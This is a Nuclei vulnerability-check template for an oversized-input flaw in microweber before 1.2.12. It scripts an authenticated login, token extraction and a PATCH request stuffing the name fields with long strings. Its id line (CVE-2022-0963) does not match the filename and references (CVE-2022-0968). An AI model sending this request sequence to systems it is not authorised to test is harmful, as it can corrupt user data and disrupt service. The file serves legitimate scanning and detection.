nuclei-templates/cves/2022/CVE-2022-0968.yaml

id: CVE-2022-0963

info:
  name: Integer Overflow in microweber prior to 1.2.12
  author: amit-jd
  severity: high
  description: The microweber application allows large characters to insert in the input field "first & last name" which can allow attackers to cause a Denial of Service (DoS) via a crafted HTTP request. The first name & last name input should be limited to 50 characters or max 100 characters.
  reference:
    - https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0968
    - https://github.com/advisories/GHSA-q3x2-jvp3-wj78
  classification:
    cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 7.2
    cwe-id: CWE-190
  tags: cve,cve2022,overflow,microweber,CMS

requests:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        POST /csrf/ HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
     
      - |
        GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}
            
      - |
        POST /api/user/2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-XSRF-TOKEN: {{url_decode(csrf_token)}}
        Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}

        thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user_name}}&verify_password=&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
   
    req-condition: true
    cookie-reuse: true
    extractors:
      - type: json
        part: body
        name: csrf_token
        json:
          - .token
        internal: true

      - type: kval
        part: header
        name: session
        kval:
          - laravel_session
        internal: true

      - type: regex
        part: body
        name: form_token
        internal: true
        group: 1
        regex:
          - '<input type="hidden" name="token" value="(.*)" autocomplete="off">'

      - type: regex
        part: body
        name: user_name
        internal: true
        group: 1
        regex:
          - '<input type="text" class="form-control" name="username" value="(.*)">'

      - type: regex
        part: body
        name: email
        internal: true
        group: 1
        regex:
          - '<input type="email" class="form-control" name="email" value="(.*)">'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_4,"first_name":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")'
          - 'status_code_4==200'
          - 'contains(all_headers_4,"application/json")'
        condition: and